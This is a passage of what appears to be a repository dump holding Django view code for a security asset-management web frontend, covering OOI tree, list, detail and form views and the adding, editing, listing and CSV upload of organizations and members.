get_ooi_url(\"ooi_tree\", self.ooi.primary_key, self.organization.code),\n            \"text\": _(\"Tree Visualisation\"),\n        }\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"tree\"] = self.get_tree_dict()\n        context[\"tree_view\"] = self.request.GET.get(\"view\", \"condensed\")\n        context[\"active_filters_counter\"] = self.count_active_filters()\n        return context\n\n\nclass OOISummaryView(OOITreeView):\n    template_name = \"oois/ooi_summary.html\"\n\n    def get_last_breadcrumb(self):\n        return {\"url\": get_ooi_url(\"ooi_summary\", self.ooi.primary_key, self.organization.code), \"text\": _(\"Summary\")}\n\n\nclass OOIGraphView(OOITreeView):\n    template_name = \"graph-d3.html\"\n\n    def get_filtered_tree(self, tree_dict: dict) -> dict:\n        filtered_tree = super().get_filtered_tree(tree_dict)\n        return hydrate_tree(filtered_tree, self.organization.code)\n\n    def get_last_breadcrumb(self):\n        return {\n            \"url\": get_ooi_url(\"ooi_graph\", self.ooi.primary_key, self.organization.code),\n            \"text\": _(\"Graph Visualisation\"),\n        }\n\n\ndef hydrate_tree(tree: dict, organization_code: str) -> dict:\n    return hydrate_branch(tree, organization_code)\n\n\ndef hydrate_branch(branch: dict, organization_code: str) -> dict:\n    branch[\"name\"] = branch[\"tree_meta\"][\"location\"] + \"-\" + branch[\"ooi_type\"]\n    branch[\"overlay_data\"] = {\"Type\": branch[\"ooi_type\"]}\n    if branch[\"ooi_type\"] == \"Finding\":\n        branch[\"overlay_data\"][\"Description\"] = branch[\"description\"]\n        branch[\"overlay_data\"][\"Proof\"] = branch[\"proof\"]\n    elif branch[\"ooi_type\"] == \"IpPort\":\n        branch[\"overlay_data\"][\"Port\"] = str(branch[\"port\"])\n        branch[\"overlay_data\"][\"Protocol\"] = branch[\"protocol\"]\n        branch[\"overlay_data\"][\"State\"] = branch[\"state\"]\n\n    branch[\"display_name\"] = branch[\"human_readable\"]\n    branch[\"graph_url\"] = get_ooi_url(\"ooi_graph\", branch[\"id\"], organization_code=organization_code)\n\n    if branch.get(\"children\"):\n        branch[\"children\"] = [hydrate_branch(child, organization_code) for child in branch[\"children\"]]\n\n    return branch\n"
  },
  {
    "path": "rocky/rocky/views/ooi_view.py",
    "content": "from datetime import datetime, timezone\nfrom typing import Literal\n\nfrom django.forms import Form\nfrom django.http import Http404\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import ListView\nfrom django.views.generic.edit import FormView\nfrom pydantic import ValidationError\nfrom tools.forms.base import BaseRockyForm\nfrom tools.forms.ooi_form import _EXCLUDED_OOI_TYPES, ClearanceFilterForm, OOIForm, OrderByObjectTypeForm\nfrom tools.ooi_helpers import create_ooi\nfrom tools.view_helpers import Breadcrumb, BreadcrumbsMixin, get_mandatory_fields, get_ooi_url\n\nfrom octopoes.config.settings import DEFAULT_SCAN_LEVEL_FILTER, DEFAULT_SCAN_PROFILE_TYPE_FILTER\nfrom octopoes.models import OOI, ScanProfileType\nfrom octopoes.models.ooi.findings import Finding, FindingType\nfrom octopoes.models.ooi.reports import AssetReport, BaseReport, HydratedReport, Report, ReportData, ReportRecipe\nfrom octopoes.models.types import get_collapsed_types\nfrom rocky.paginator import RockyPaginator\nfrom rocky.views.mixins import OBJECT_LIST_COLUMNS, OctopoesView, OOIList, SingleOOIMixin, SingleOOITreeMixin\n\n\nclass OOIFilterView(OctopoesView):\n    \"\"\"\n    Shows filter options with different filter forms and handles filter requests for OOIs.\n    \"\"\"\n\n    ooi_types = get_collapsed_types().difference(\n        {Finding, FindingType, BaseReport, Report, ReportRecipe, AssetReport, ReportData, HydratedReport}\n    )\n    scan_levels = DEFAULT_SCAN_LEVEL_FILTER\n    scan_profile_types = DEFAULT_SCAN_PROFILE_TYPE_FILTER\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.filtered_ooi_types = request.GET.getlist(\"ooi_type\", [])\n        self.clearance_levels = request.GET.getlist(\"clearance_level\", [])\n        self.clearance_types = request.GET.getlist(\"clearance_type\", [])\n        self.search_string = request.GET.get(\"search\", \"\")\n\n    def get_active_filters(self) -> dict[str, str]:\n        active_filters = {}\n        if self.is_historic_view:\n            active_filters[_(\"Observed_at: \")] = self.observed_at.strftime(\"%Y-%m-%d\")\n        if self.filtered_ooi_types:\n            active_filters[_(\"OOI types: \")] = \", \".join(self.filtered_ooi_types)\n        if self.clearance_levels:\n            clearance_level = [\"L\" + str(cl) for cl in self.clearance_levels]\n            active_filters[_(\"Clearance level: \")] = \", \".join(clearance_level)\n        if self.clearance_types:\n            active_filters[_(\"Clearance type: \")] = \", \".join(self.clearance_types)\n        if self.search_string:\n            active_filters[_(\"Searching for: \")] = self.search_string\n        return active_filters\n\n    @property\n    def count_active_filters(self) -> int:\n        return (\n            len(self.filtered_ooi_types)\n            + len(self.clearance_levels)\n            + len(self.clearance_types)\n            + self.count_observed_at_filter()\n            + (1 if self.search_string else 0)\n        )\n\n    def get_ooi_scan_levels(self) -> set[int] | set:\n        if not self.clearance_levels:\n            return set()\n        return {int(cl) for cl in self.clearance_levels}\n\n    def get_ooi_scan_profile_types(self) -> set[ScanProfileType] | set:\n        if not self.clearance_types:\n            return set()\n        return set(self.clearance_types)\n\n    def get_ooi_types(self) -> set[type[OOI]] | set[str]:\n        if not self.filtered_ooi_types:\n            return self.ooi_types\n        return {t for t in self.filtered_ooi_types if t not in _EXCLUDED_OOI_TYPES}\n\n    @property\n    def order_by(self) -> Literal[\"object_type\", \"scan_level\"]:\n        return \"scan_level\" if self.request.GET.get(\"order_by\", \"\") == \"scan_level\" else \"object_type\"\n\n    @property\n    def sorting_order(self) -> Literal[\"asc\", \"desc\"]:\n        return \"desc\" if self.request.GET.get(\"sorting_order\", \"\") == \"desc\" else \"asc\"\n\n    def get_queryset_params(self):\n        return {\n            \"valid_time\": self.observed_at,\n            \"ooi_types\": self.get_ooi_types(),\n            \"scan_level\": self.get_ooi_scan_levels(),\n            \"scan_profile_type\": self.get_ooi_scan_profile_types(),\n            \"search_string\": self.search_string,\n            \"order_by\": self.order_by,\n            \"asc_desc\": self.sorting_order,\n        }\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"order_by\"] = self.order_by\n        context[\"order_by_form\"] = OrderByObjectTypeForm(self.request.GET)\n\n        context[\"sorting_order\"] = self.sorting_order\n        context[\"sorting_order_class\"] = \"ascending\" if self.sorting_order == \"asc\" else \"descending\"\n        context[\"search_string\"] = self.search_string\n        context[\"ooi_types_selection\"] = self.filtered_ooi_types\n        context[\"clearance_levels_selection\"] = self.clearance_levels\n        context[\"clearance_level_filter_form\"] = ClearanceFilterForm(self.request.GET)\n        context[\"clearance_types_selection\"] = self.clearance_types\n        context[\"active_filters\"] = self.get_active_filters()\n\n        context[\"active_filters_counter\"] = self.count_active_filters\n        return context\n\n\nclass BaseOOIListView(OOIFilterView, ListView):\n    paginate_by = 150\n    context_object_name = \"ooi_list\"\n    paginator_class = RockyPaginator\n\n    def get_queryset(self) -> OOIList:\n        return OOIList(self.octopoes_api_connector, **self.get_queryset_params())\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"mandatory_fields\"] = get_mandatory_fields(self.request)\n        context[\"total_oois\"] = len(self.object_list)\n        context[\"table_columns\"] = OBJECT_LIST_COLUMNS\n        return context\n\n\nclass BaseOOIDetailView(BreadcrumbsMixin, SingleOOITreeMixin):\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        tree = self.tree\n        self.ooi = tree.store[tree.root.reference]\n\n    def get_current_ooi(self) -> OOI | None:\n        \"\"\"\n        Some OOIs have an old valid time, this will fetch the latest OOI for today.\n        \"\"\"\n        now = datetime.now(timezone.utc)\n        if self.observed_at.date() == now.date():\n            return self.ooi\n        try:\n            return self.get_ooi_tree(self.get_ooi_id(), observed_at=now).store[self.get_ooi_id()]\n        except Http404:\n            return None\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"ooi\"] = self.ooi\n        context[\"ooi_current\"] = self.get_current_ooi()\n        context[\"mandatory_fields\"] = get_mandatory_fields(self.request)\n        return context\n\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        start: Breadcrumb\n        if isinstance(self.ooi, Finding):\n            start = {\n                \"url\": reverse(\"finding_list\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Findings\"),\n            }\n        else:\n            start = {\n                \"url\": reverse(\"ooi_list\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Objects\"),\n            }\n        return [\n            start,\n            {\n                \"url\": get_ooi_url(\"ooi_detail\", self.ooi.primary_key, self.organization.code),\n                \"text\": self.ooi.human_readable,\n            },\n        ]\n\n\nclass BaseOOIFormView(SingleOOIMixin, FormView):\n    ooi_class: type[OOI]\n    form_class: type[BaseRockyForm] = OOIForm\n\n    def get_ooi_class(self):\n        return self.ooi.__class__ if hasattr(self, \"ooi\") else None\n\n    def get_form(self, form_class: type[Form] | None = None) -> BaseRockyForm:\n        form = super().get_form(form_class)\n\n        # Disable natural key attributes\n        if self.get_readonly_fields():\n            for readonly_field in self.get_readonly_fields():\n                form.fields[readonly_field].disabled = True\n\n        return form\n\n    def get_form_kwargs(self):\n        kwargs = {\"ooi_class\": self.get_ooi_class(), \"connector\": self.octopoes_api_connector}\n        kwargs.update(super().get_form_kwargs())\n\n        return kwargs\n\n    def form_valid(self, form):\n        # Transform into OOI\n        try:\n            end_valid_time = form.cleaned_data.pop(\"end_valid_time\", None)\n            if end_valid_time is not None:\n                end_valid_time = end_valid_time.replace(tzinfo=timezone.utc)\n            new_ooi = self.ooi_class.model_validate(form.cleaned_data)\n            create_ooi(\n                self.octopoes_api_connector, self.bytes_client, new_ooi, datetime.now(timezone.utc), end_valid_time\n            )\n            return redirect(self.get_ooi_success_url(new_ooi))\n        except ValidationError as exception:\n            for error in exception.errors():\n                form.add_error(error[\"loc\"][0], error[\"msg\"])\n            return self.form_invalid(form)\n        except Exception as exception:\n            form.add_error(\"__all__\", str(exception))\n            return self.form_invalid(form)\n\n    def get_ooi_success_url(self, ooi: OOI) -> str:\n        return get_ooi_url(\"ooi_detail\", ooi.primary_key, self.organization.code)\n\n    def get_readonly_fields(self) -> list:\n        if not hasattr(self, \"ooi\"):\n            return []\n\n        return self.ooi._natural_key_attrs\n"
  },
  {
    "path": "rocky/rocky/views/organization_add.py",
    "content": "import structlog\nfrom account.forms import OrganizationForm\nfrom django.contrib import messages\nfrom django.contrib.auth.mixins import PermissionRequiredMixin\nfrom django.shortcuts import redirect\nfrom django.urls import reverse, reverse_lazy\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic.edit import CreateView\nfrom tools.models import Organization, OrganizationMember\n\nfrom rocky.exceptions import ServiceException\n\nlogger = structlog.get_logger(__name__)\n\n\nclass OrganizationAddView(PermissionRequiredMixin, CreateView):\n    \"\"\"\n    View to create a new organization\n    \"\"\"\n\n    model = Organization\n    template_name = \"organizations/organization_add.html\"\n    form_class = OrganizationForm\n    success_url = reverse_lazy(\"organization_list\")\n    permission_required = \"tools.add_organization\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"organization_list\"), \"text\": _(\"Organizations\")},\n            {\"url\": reverse(\"organization_add\"), \"text\": _(\"Setup\")},\n        ]\n        return context\n\n    def form_valid(self, form):\n        try:\n            self.object = form.save()\n        except ServiceException as e:\n            message = f\"An issue occurred in {e.service_name} while creating the organization\"\n            logger.exception(message)\n            messages.add_message(self.request, messages.ERROR, _(message))\n\n            return redirect(self.success_url)  # get_success_url() assumes self.object is set, see ModelFormMixin\n\n        try:\n            member, created = OrganizationMember.objects.get_or_create(user=self.request.user, organization=self.object)\n            member.acknowledged_clearance_level = 0\n            member.trusted_clearance_level = 4\n            member.save()\n        except Exception:\n            message = \"An issue occurred while creating the organization\"\n            logger.exception(message)\n            messages.add_message(self.request, messages.ERROR, _(message))\n\n            return redirect(self.success_url)\n\n        self.add_success_notification()\n        return redirect(self.get_success_url())\n\n    def add_success_notification(self):\n        success_message = _(\"Organization added successfully.\")\n        messages.add_message(self.request, messages.SUCCESS, success_message)\n\n    def handle_no_permission(self):\n        messages.add_message(self.request, messages.ERROR, _(\"You are not allowed to add organizations.\"))\n        return redirect(\"organization_list\")\n"
  },
  {
    "path": "rocky/rocky/views/organization_edit.py",
    "content": "from account.forms import OrganizationUpdateForm\nfrom account.mixins import OrganizationPermissionRequiredMixin, OrganizationView\nfrom django.contrib import messages\nfrom django.urls.base import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import UpdateView\nfrom tools.models import Organization\n\n\nclass OrganizationEditView(OrganizationPermissionRequiredMixin, OrganizationView, UpdateView):\n    form_class = OrganizationUpdateForm\n    model = Organization\n    template_name = \"organizations/organization_edit.html\"\n    permission_required = \"tools.change_organization\"\n\n    def get_object(self):\n        return self.model.objects.get(code=self.kwargs[\"organization_code\"])\n\n    def get_success_url(self):\n        messages.add_message(\n            self.request, messages.SUCCESS, _(\"Organization %s successfully updated.\") % (self.object.name)\n        )\n        return reverse(\"organization_settings\", kwargs={\"organization_code\": self.object.code})\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"organization_list\"), \"text\": \"Organizations\"},\n            {\n                \"url\": reverse(\"organization_settings\", kwargs={\"organization_code\": self.object.code}),\n                \"text\": self.object.name,\n            },\n            {\"url\": reverse(\"organization_edit\", kwargs={\"organization_code\": self.object.code}), \"text\": _(\"Edit\")},\n        ]\n\n        return context\n"
  },
  {
    "path": "rocky/rocky/views/organization_list.py",
    "content": "import logging\nfrom datetime import datetime\n\nfrom account.models import KATUser\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.core.exceptions import PermissionDenied\nfrom django.db.models import Count, QuerySet\nfrom django.http import HttpRequest, HttpResponse, HttpResponseBadRequest\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import ListView\nfrom structlog import get_logger\nfrom tools.models import Organization\nfrom tools.view_helpers import OrganizationBreadcrumbsMixin\n\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\n\nlogger = get_logger(__name__)\n\n\nclass OrganizationListView(OrganizationBreadcrumbsMixin, ListView):\n    template_name = \"organizations/organization_list.html\"\n\n    def get_queryset(self) -> QuerySet[Organization]:\n        user: KATUser = self.request.user\n        return (\n            Organization.objects.annotate(member_count=Count(\"members\"))\n            .prefetch_related(\"tags\")\n            .filter(id__in=[organization.id for organization in user.organizations])\n            .order_by(\"name\")\n        )\n\n    def post(self, request: HttpRequest, *args, **kwargs) -> HttpResponse:\n        \"\"\"Perform actions based on action type\"\"\"\n        if request.POST.get(\"action\") == \"recalculate\":\n            if not self.request.user.has_perm(\"tools.can_recalculate_bits\"):\n                raise PermissionDenied()\n            organizations = self.request.user.organizations\n            number_of_bits = 0\n            failed = []\n            start_time = datetime.now()\n            for organization in organizations:\n                try:\n                    logger.info(\"Recalculating bits\", event_code=920000, organization_code=organization.code)\n                    number_of_bits += OctopoesAPIConnector(\n                        settings.OCTOPOES_API, organization.code, timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT\n                    ).recalculate_bits()\n                except Exception as exc:\n                    failed.append(f\"{organization}, ({str(exc)})\")\n                    logging.warning(\"Failed recalculating bits for %s, %s\", organization, exc)\n            duration = datetime.now() - start_time\n            n_failed = len(failed)\n            message = f\"Recalculated {number_of_bits} bits for {len(organizations)-n_failed} organizations.\"\n            message += f\" Duration: {duration}.\"\n            if failed:\n                message += f\"\\nFailed for {n_failed} organisations: {', '.join(failed)}\"\n            messages.add_message(request, messages.INFO, _(message))\n            return self.get(request, *args, **kwargs)\n        else:\n            raise HttpResponseBadRequest(\"Unknown action\")\n"
  },
  {
    "path": "rocky/rocky/views/organization_member_add.py",
    "content": "import csv\nimport io\nfrom typing import Any\n\nimport structlog\nfrom account.forms import AccountTypeSelectForm, MemberRegistrationForm, PasswordResetForm\nfrom account.mixins import OrganizationPermissionRequiredMixin, OrganizationView\nfrom django.contrib import messages\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.models import Group\nfrom django.core.exceptions import ObjectDoesNotExist, ValidationError\nfrom django.db import transaction\nfrom django.forms import Form\nfrom django.http import FileResponse, HttpRequest, HttpResponse\nfrom django.shortcuts import redirect\nfrom django.urls import reverse_lazy\nfrom django.urls.base import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic.edit import FormView\nfrom onboarding.view_helpers import DNS_REPORT_LEAST_CLEARANCE_LEVEL\nfrom tools.forms.upload_csv import UploadCSVForm\nfrom tools.models import GROUP_ADMIN, GROUP_CLIENT, GROUP_REDTEAM, OrganizationMember\nfrom tools.view_helpers import Breadcrumb, OrganizationMemberBreadcrumbsMixin\n\nfrom rocky.messaging import clearance_level_warning_dns_report\n\nlogger = structlog.get_logger(__name__)\n\nUser = get_user_model()\n\n\nMEMBER_UPLOAD_COLUMNS = [\n    \"full_name\",\n    \"email\",\n    \"account_type\",\n    \"trusted_clearance_level\",\n    \"acknowledged_clearance_level\",\n]\nCSV_CRITERIA = [\n    _(\"Add column titles, followed by each object on a new line.\"),\n    _(\"The columns are: \") + \",\".join(f\"'{column}'\" for column in MEMBER_UPLOAD_COLUMNS),\n    _(\"Clearance levels should be between -1 and 4.\"),\n    _(\"Account type can be one of: \") + f\"'{GROUP_CLIENT}', '{GROUP_ADMIN}' and '{GROUP_REDTEAM}'\",\n]\n\n\nclass OrganizationMemberAddAccountTypeView(\n    OrganizationPermissionRequiredMixin, OrganizationMemberBreadcrumbsMixin, OrganizationView, FormView\n):\n    \"\"\"\n    View to create a new member. Step 1: choose an account type.\n    \"\"\"\n\n    template_name = \"organizations/organization_member_add_account_type.html\"\n    permission_required = \"tools.add_organizationmember\"\n    form_class = AccountTypeSelectForm\n\n    def get(self, request: HttpRequest, *args: str, **kwargs: Any) -> HttpResponse:\n        account_type = self.request.GET.get(\"account_type\", None)\n        if not account_type:\n            return super().get(request, *args, **kwargs)\n        return redirect(\n            reverse(\n                \"organization_member_add\",\n                kwargs={\"organization_code\": self.organization.code, \"account_type\": account_type},\n            )\n        )\n\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        breadcrumbs = super().build_breadcrumbs()\n        breadcrumbs.append(\n            {\n                \"url\": reverse(\n                    \"organization_member_add_account_type\", kwargs={\"organization_code\": self.organization.code}\n                ),\n                \"text\": _(\"Add member\"),\n            }\n        )\n        return breadcrumbs\n\n\nclass OrganizationMemberAddView(\n    OrganizationPermissionRequiredMixin, OrganizationMemberBreadcrumbsMixin, OrganizationView, FormView\n):\n    \"\"\"\n    View to create a new member. Step 2: account setup.\n    \"\"\"\n\n    template_name = \"organizations/organization_member_add.html\"\n    form_class = MemberRegistrationForm\n    permission_required = \"tools.add_organizationmember\"\n\n    def get_form_kwargs(self):\n        kwargs = super().get_form_kwargs()\n        kwargs[\"organization\"] = self.organization\n        kwargs[\"account_type\"] = self.kwargs[\"account_type\"]\n        return kwargs\n\n    def form_valid(self, form):\n        trusted_clearance_level = form.cleaned_data.get(\"trusted_clearance_level\")\n        if trusted_clearance_level and int(trusted_clearance_level) < DNS_REPORT_LEAST_CLEARANCE_LEVEL:\n            clearance_level_warning_dns_report(self.request, trusted_clearance_level)\n        self.add_success_notification()\n        return super().form_valid(form)\n\n    def add_success_notification(self):\n        success_message = _(\"Member added successfully.\")\n        messages.add_message(self.request, messages.SUCCESS, success_message)\n\n    def get_success_url(self, **kwargs):\n        return reverse_lazy(\"organization_member_list\", kwargs={\"organization_code\": self.organization.code})\n\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        breadcrumbs = super().build_breadcrumbs()\n        breadcrumbs.extend(\n            [\n                {\n                    \"url\": reverse(\n                        \"organization_member_add_account_type\", kwargs={\"organization_code\": self.organization.code}\n                    ),\n                    \"text\": _(\"Add member\"),\n                }\n            ]\n        )\n        return breadcrumbs\n\n\nclass DownloadMembersTemplateView(OrganizationPermissionRequiredMixin, OrganizationView):\n    permission_required = \"tools.add_organizationmember\"\n\n    def get(self, request, **kwargs):\n        \"\"\"Create a csv file with the right columns to download as a template for uploading organization members\"\"\"\n\n        template = \",\".join(MEMBER_UPLOAD_COLUMNS)\n\n        return FileResponse(io.BytesIO(template.encode()), filename=f\"{self.organization}_organization_members.csv\")\n\n\nclass MembersUploadView(\n    OrganizationPermissionRequiredMixin, OrganizationMemberBreadcrumbsMixin, OrganizationView, FormView\n):\n    \"\"\"\n    View to upload multiple new members with a CSV file.\n    \"\"\"\n\n    template_name = \"organizations/organization_member_upload.html\"\n    form_class = UploadCSVForm\n    permission_required = \"tools.add_organizationmember\"\n\n    def get_success_url(self):\n        return reverse_lazy(\"organization_member_list\", kwargs={\"organization_code\": self.organization.code})\n\n    def form_valid(self, form):\n        self.process_csv(form)\n        return super().form_valid(form)\n\n    def process_csv(self, form: Form) -> None:\n        csv_raw_data = form.cleaned_data[\"csv_file\"].read()\n        csv_data = io.StringIO(csv_raw_data.decode(\"UTF-8\"))\n\n        try:\n            for row in csv.DictReader(csv_data, delimiter=\",\", quotechar='\"'):\n                if not row:\n                    continue  # skip empty lines\n\n                try:\n                    full_name, email, account_type, trusted_clearance, acknowledged_clearance = (\n                        row[\"full_name\"],\n                        row[\"email\"],\n                        row[\"account_type\"],\n                        int(row[\"trusted_clearance_level\"]),\n                        int(row[\"acknowledged_clearance_level\"]),\n                    )\n                except KeyError:\n                    messages.add_message(self.request, messages.ERROR, _(\"The csv file is missing required columns\"))\n                    return\n\n                try:\n                    with transaction.atomic():\n                        # We save all the relevant models and raise an exception on failure to revert the transaction\n                        self.save_models(full_name, email, account_type, trusted_clearance, acknowledged_clearance)\n                except ObjectDoesNotExist:\n                    messages.add_message(\n                        self.request,\n                        messages.WARNING,\n                        _(\"Invalid account type: '{account_type}'\").format(account_type=account_type),\n                    )\n                    logger.exception(\"Invalid group\")\n                except ValidationError:\n                    messages.add_message(\n                        self.request, messages.WARNING, _(\"Invalid data for: '{email}'\").format(email=email)\n                    )\n                    logger.warning(\"Invalid data\", exc_info=True)\n                except ValueError:\n                    messages.add_message(\n                        self.request, messages.WARNING, _(\"Invalid email address: '{email}'\").format(email=email)\n                    )\n                    logger.warning(\"Invalid email address: %s\", email)\n\n            messages.add_message(self.request, messages.SUCCESS, _(\"Successfully processed users from csv.\"))\n        except csv.Error:\n            messages.add_message(\n                self.request, messages.ERROR, _(\"Error parsing the csv file. Please verify its contents.\")\n            )\n            logger.exception(\"Failed handling csv file\")\n\n    def save_models(\n        self, name: str, email: str, account_type: str, trusted_clearance: int, acknowledged_clearance: int\n    ) -> None:\n        user, user_created = User.objects.get_or_create(email=email, defaults={\"full_name\": name})\n\n        member_kwargs = {\n            \"organization\": self.organization,\n            \"status\": OrganizationMember.STATUSES.ACTIVE,\n            \"trusted_clearance_level\": trusted_clearance,\n            \"acknowledged_clearance_level\": acknowledged_clearance,\n        }\n        OrganizationMember(user=user, **member_kwargs).full_clean()  # Do validation before saving the model\n\n        member, member_created = OrganizationMember.objects.get_or_create(\n            user=user, organization=self.organization, defaults=member_kwargs\n        )\n        member.groups.add(Group.objects.get(name=account_type))\n\n        if user_created:\n            form = PasswordResetForm({\"email\": email})\n\n            if not form.is_valid():\n                logger.warning(\"Email not valid: %s\", email)\n                raise ValueError(\"Email not valid\")\n\n            form.save(\n                email_template_name=\"registration_email.html\",\n                subject_template_name=\"registration_subject.txt\",\n                extra_email_context={\"organization\": self.organization.name},\n                use_https=self.request.is_secure(),\n                request=self.request,\n            )\n\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        breadcrumbs = super().build_breadcrumbs()\n        breadcrumbs.extend(\n            [\n                {\n                    \"url\": reverse(\"organization_member_upload\", kwargs={\"organization_code\": self.organization.code}),\n                    \"text\": _(\"Add members\"),\n                }\n            ]\n        )\n        return breadcrumbs\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"criteria\"] = CSV_CRITERIA\n\n        return context\n"
  },
  {
    "path": "rocky/rocky/views/organization_member_edit.py",
    "content": "import structlog\nfrom account.forms import OrganizationMemberEditForm\nfrom account.mixins import OrganizationPermissionRequiredMixin, OrganizationView\nfrom django.contrib import messages\nfrom django.contrib.auth.mixins import UserPassesTestMixin\nfrom django.urls.base import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import UpdateView\nfrom tools.models import GROUP_CLIENT, OrganizationMember\n\nlogger = structlog.get_logger(__name__)\n\n\nclass OrganizationMemberEditView(\n    OrganizationPermissionRequiredMixin, UserPassesTestMixin, OrganizationView, UpdateView\n):\n    form_class = OrganizationMemberEditForm\n    model = OrganizationMember\n    template_name = \"organizations/organization_member_edit.html\"\n    object: OrganizationMember\n    permission_required = \"tools.change_organizationmember\"\n\n    def test_func(self):\n        return (\n            not self.get_object().user.is_superuser or self.request.user.is_superuser\n        ) and self.get_object().organization == self.organization\n\n    def get_form(self):\n        form = super().get_form()\n        group = self.object.user.groups.all().values_list(\"name\", flat=True)\n\n        # Make sure the logged in user can't block himself out of the organisation.\n        if self.object.user == self.request.user:\n            form.fields[\"blocked\"].disabled = True\n\n        # Since clients aren't allowed to scan and set clearance levels, disable the truste clearance level field.\n        if GROUP_CLIENT in group:\n            form.fields[\"trusted_clearance_level\"].disabled = True\n        return form\n\n    def get_success_url(self):\n        messages.add_message(\n            self.request, messages.SUCCESS, _(\"Member %s successfully updated.\") % (self.object.user.full_name)\n        )\n        return reverse(\"organization_member_list\", kwargs={\"organization_code\": self.organization.code})\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"breadcrumbs\"] = [\n            {\n                \"url\": reverse(\"organization_member_list\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Members\"),\n            },\n            {\n                \"url\": reverse(\n                    \"organization_member_edit\",\n                    kwargs={\"organization_code\": self.organization.code, \"pk\": self.object.id},\n                ),\n                \"text\": _(\"Edit member\"),\n            },\n        ]\n\n        return context\n\n    def form_valid(self, form):\n        tcl = form.cleaned_data[\"trusted_clearance_level\"]\n        acl = form.cleaned_data[\"acknowledged_clearance_level\"]\n        if not tcl:\n            tcl = -1\n        else:\n            logger.info(\"Setting trusted clearance level\", event_code=\"900108\", level=tcl, user=form.instance.id)\n\n        if not acl:\n            acl = -1\n\n        if int(tcl) < int(acl):\n            messages.add_message(\n                self.request,\n                messages.INFO,\n                _(\n                    \"The updated trusted clearance level of L%s is lower then the member's \"\n                    \"acknowledged clearance level of L%s. This member only has clearance for level L%s. \"\n                    \"For this reason the acknowledged clearance level has been set at the same level \"\n                    \"as trusted clearance level.\"\n                )\n                % (tcl, acl, tcl),\n            )\n        if int(tcl) > int(acl):\n            messages.add_message(\n                self.request,\n                messages.INFO,\n                _(\n                    \"You have trusted this member with a higher trusted level than member acknowledged. \"\n                    \"Member must first accept this level to use it.\"\n                ),\n            )\n        return super().form_valid(form)\n"
  },
  {
    "path": "rocky/rocky/views/organization_member_list.py",
    "content": "from enum import Enum\n\nimport structlog\nfrom account.mixins import OrganizationPermissionRequiredMixin, OrganizationView\nfrom django.contrib import messages\nfrom django.core.exceptions import PermissionDenied\nfrom django.shortcuts import redirect\nfrom django.urls.base import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import ListView\nfrom httpx import RequestError\nfrom tools.models import OrganizationMember\nfrom tools.view_helpers import OrganizationMemberBreadcrumbsMixin\n\nfrom rocky.forms import MemberFilterForm\n\nlogger = structlog.get_logger(__name__)\n\n\nclass PageActions(Enum):\n    BLOCK = \"block\"\n    UNBLOCK = \"unblock\"\n\n\nclass OrganizationMemberListView(\n    OrganizationPermissionRequiredMixin, OrganizationMemberBreadcrumbsMixin, OrganizationView, ListView\n):\n    model = OrganizationMember\n    context_object_name = \"members\"\n    template_name = \"organizations/organization_member_list.html\"\n    permission_required = \"tools.view_organization\"\n    member_filter_form = MemberFilterForm\n\n    def get_queryset(self):\n        qs = super().get_queryset()\n        form = self.member_filter_form(self.request.GET)\n        if form.is_valid():\n            current_status = form.cleaned_data.get(\"status\")\n            account_status = form.cleaned_data.get(\"blocked\")\n            return qs.filter(organization=self.organization, status__in=current_status, blocked__in=account_status)\n        return qs\n\n    def post(self, request, *args, **kwargs):\n        if not self.organization_member.has_perm(\"tools.change_organizationmember\"):\n            raise PermissionDenied()\n        if \"action\" not in self.request.POST:\n            return self.get(request, *args, **kwargs)\n        self.handle_page_action(request.POST.get(\"action\"))\n        return redirect(reverse(\"organization_member_list\", kwargs={\"organization_code\": self.organization.code}))\n\n    def handle_page_action(self, action: str) -> None:\n        member_id = self.request.POST.get(\"member_id\")\n        organizationmember = self.model.objects.get(id=member_id)\n        try:\n            if action == PageActions.BLOCK.value:\n                organizationmember.blocked = True\n                messages.add_message(\n                    self.request,\n                    messages.SUCCESS,\n                    _(\"Blocked member %s successfully.\") % (organizationmember.user.email),\n                )\n            elif action == PageActions.UNBLOCK.value:\n                organizationmember.blocked = False\n                messages.add_message(\n                    self.request,\n                    messages.SUCCESS,\n                    _(\"Unblocked member %s successfully.\") % (organizationmember.user.email),\n                )\n            else:\n                raise Exception(f\"Unhandled allowed action: {action}\")\n\n            logger.info(\"Account status changed\", event_code=\"900104\", blocked=organizationmember.blocked)\n            organizationmember.save()\n        except RequestError as exception:\n            messages.add_message(self.request, messages.ERROR, f\"{action} failed: '{exception}'\")\n\n    def get_context_data(self, **kwargs):\n        context = 